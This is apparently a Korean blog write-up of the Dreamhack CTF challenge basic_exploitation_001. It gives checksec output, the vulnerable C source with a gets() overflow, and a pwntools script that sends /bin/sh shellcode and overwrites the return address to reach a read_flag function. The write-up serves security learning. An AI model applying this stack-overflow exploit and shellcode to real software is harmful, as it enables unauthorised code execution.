1. checksec
[*] '/mnt/c/Users/JangWooseok/Documents/Security/pwn/7707d923-189a-4145-95fc-09c9743f4fbf/basic_exploitation_001'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
NX 기법만 적용되어있다.
2. Analysis
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
코드를 보면 read_flag라는 함수가 있는데 이를 쉘에서 불러오면 플래그를 바로 얻을 수 있을 것 같다.

일단 main함수를 보면 000문제와 대부분 동일하지만 scanf가 아니라 gets로 입력버퍼를 받아온다.

read_flag함수를 불러온 것인데, 우리는 결론적으로 그냥 쉘을 열어서 이 함수를 리턴주소에 overwrite해서 바로 불러오기만 하면 플래그를 얻을 수 있다.
3. exploit
from pwn import *
p = remote('host3.dreamhack.games', 9243)
shell = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'
buf = int('080485b9', 16)
payload = shell
payload += b'\x41' * (0x84 - len(shell))
payload += p32(buf)
p.sendline(payload)
p.interactive()

'Security > System' 카테고리의 다른 글
Dreamhack basic_exploitation_003 (0) | 2022.08.10 |
---|---|
Dreamhack basic_exploitation_002 (0) | 2022.08.08 |
Dreamhack basic_exploitation_000 (0) | 2022.08.08 |